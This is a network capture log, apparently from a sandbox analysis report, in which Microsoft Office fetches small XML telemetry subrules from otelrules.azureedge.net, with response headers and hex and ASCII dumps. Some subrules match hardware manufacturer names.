2024-11-20 05:40:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054023Z-185f5d8b95cmd8vfhC1NYC0g4000000005m000000000n9ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:23 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054023Z-r1d97b9957789nh9hC1TEBxha800000008g000000000cvqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:23 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:23 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054023Z-185f5d8b95cqnkdjhC1NYCm8w800000009k000000000ns9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:23 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:23 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:23 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054023Z-185f5d8b95cdcwrthC1NYCy5b800000009w00000000019pw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:23 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054023Z-185f5d8b95cdh56ghC1NYCk1x400000003pg000000007hkk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:24 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:24 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054024Z-185f5d8b95c68cvnhC1NYCfn7s00000009v0000000005cxp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:24 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:24 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054024Z-185f5d8b95crl6swhC1NYC3ueg0000000a0g0000000046py x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:24 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054024Z-185f5d8b95cdh56ghC1NYCk1x400000003kg00000000fysu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:24 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054024Z-r1d97b99577656nchC1TEBk98c00000008g0000000007a1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:24 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054024Z-1777c6cb754xlpjshC1TEBv8cc000000096g00000000m831 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:25 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:25 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054025Z-185f5d8b95c4bhwphC1NYCs8gw00000009z00000000071wt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:25 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:25 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054025Z-185f5d8b95crl6swhC1NYC3ueg0000000a10000000001twu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
